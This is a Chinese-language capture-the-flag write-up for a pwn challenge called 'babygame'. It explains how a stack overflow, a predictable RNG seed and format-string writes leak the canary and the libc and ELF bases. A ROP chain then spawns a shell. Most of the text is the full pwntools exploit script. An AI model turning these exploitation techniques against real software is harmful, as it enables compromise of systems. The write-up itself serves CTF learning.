比赛中没写出来,照着别人的wp复现了一下,记录下一些知识点。
题目还算是常规的那种,可以很明显看到漏洞是栈溢出和格式化字符串漏洞。

首先是栈溢出为猜数游戏设置种子,并且泄露出canary的值。
然后通过猜数游戏(CDLL库可自行百度),进入13E7函数,
格式化字符串泄露出libcbase和elfbase,并且将ret addr改为sub_13E7函数,重新进入sub_13E7函数。

此时将ret addr改为main函数,再用利用main函数中的栈溢出漏洞写入rop链,最后拿到shell。
rop链要加ret的原因是栈未对齐

可以看到,红框的语句的作用是检查rsp+0x50是否是0x10的倍数,显然不是,因此要加ret。
EXP:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 
 | from pwn import *from ctypes import cdll, CDLL
 
 
 context.log_level = "debug"
 
 p = process('./babygame')
 
 
 
 
 
 base = p.libs()["/hufu/babygame/37ae6078e4e24dcc8196e39efbe8c0bc/37ae6078e4e24dcc8196e39efbe8c0bc/babygame"]
 
 cmd = "b *%d\n" %(base+0x1449)
 gdb.attach(p, cmd)
 
 
 name = b"b"*0x100+p64(0x6161616161616161)+b"a"
 
 p.sendafter(" your name:\n", name)
 
 p.recvuntil("a"*9)
 
 canary = u64(b"\x00"+p.recv(7))
 
 rbp = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
 
 
 
 
 
 libc = CDLL("libc-2.31.so")
 libc.srand(0x6161616161616161)
 
 
 for i in range(100):
 p.sendlineafter(" \n", str((libc.rand()+1)%3))
 
 
 
 
 
 payload = b"%62c%9$hhn"
 payload += b"q%79$p"
 payload += b"ff%83$pl"
 payload += p64(rbp-0x218)
 p.sendafter('Good luck to you.\n', payload)
 
 p.recvuntil("q")
 leak = int(p.recv(14), 16)
 libc_base= leak - 0x240b3
 
 
 
 
 p.recvuntil("ff")
 elf_base = int(p.recv(14), 16) - 0x1465
 
 
 target = (elf_base+0x148e)&0xffff
 payload = "%{}c%9$hn".format(target).encode()
 payload = payload.ljust(0x10, b'a')
 payload += p64(rbp-0x218)
 
 p.sendafter('Good luck to you.\n', payload)
 
 payload2 = b'q'*0x108+p64(canary)+b"b"*0x18
 
 pop_rdi_ret = libc_base + 0x0000000000023b72
 bin_sh = libc_base + 0x1b45bd
 system_addr = libc_base + 0x522c0
 ret = elf_base + 0x1565
 
 payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
 
 p.sendafter(" your name:\n", payload2)
 
 p.interactive()
 
 
 |